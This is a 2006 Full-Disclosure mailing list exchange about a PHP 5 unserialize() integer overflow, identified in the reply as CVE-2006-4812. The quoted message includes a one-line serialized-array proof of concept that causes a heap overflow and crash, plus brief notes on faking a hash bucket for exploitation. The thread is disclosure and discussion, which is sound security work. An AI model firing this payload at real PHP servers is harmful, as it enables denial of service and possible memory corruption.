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Re: PHP 5 ecalloc memory manager unserialize() array int overflow ia 32 bits poc
From: "Slythers Bro" <slythers () gmail com>
Date: Wed, 18 Oct 2006 14:06:30 +0200

"*ia 32 bits poc"
poc = Proof Of Concept
*
On 10/18/06, Josh Bressers <josh () bress net> wrote:

>
> <?
>

>  print_r(unserialize('a:1073741823:{i:0;s:30:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}'));
> ?>
>
> in function zend_hash_init() int overflow ( ecalloc() )-> heap overflow
> here segfault in zend_hash_find() but it's possible to fake the bucket
and
> exploit a zend_hash_del_index_or_key
> i tried a memory dump , just fake the bucked with the pointer of the
> $GLOBALS's bucket but segfault before in memory_shutdown...
>

This looks to be CVE-2006-4812, which was discovered by Stefan Esser.  He
published his advisory last week:
http://www.hardened-php.net/advisory_092006.133.html

--
    JB

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

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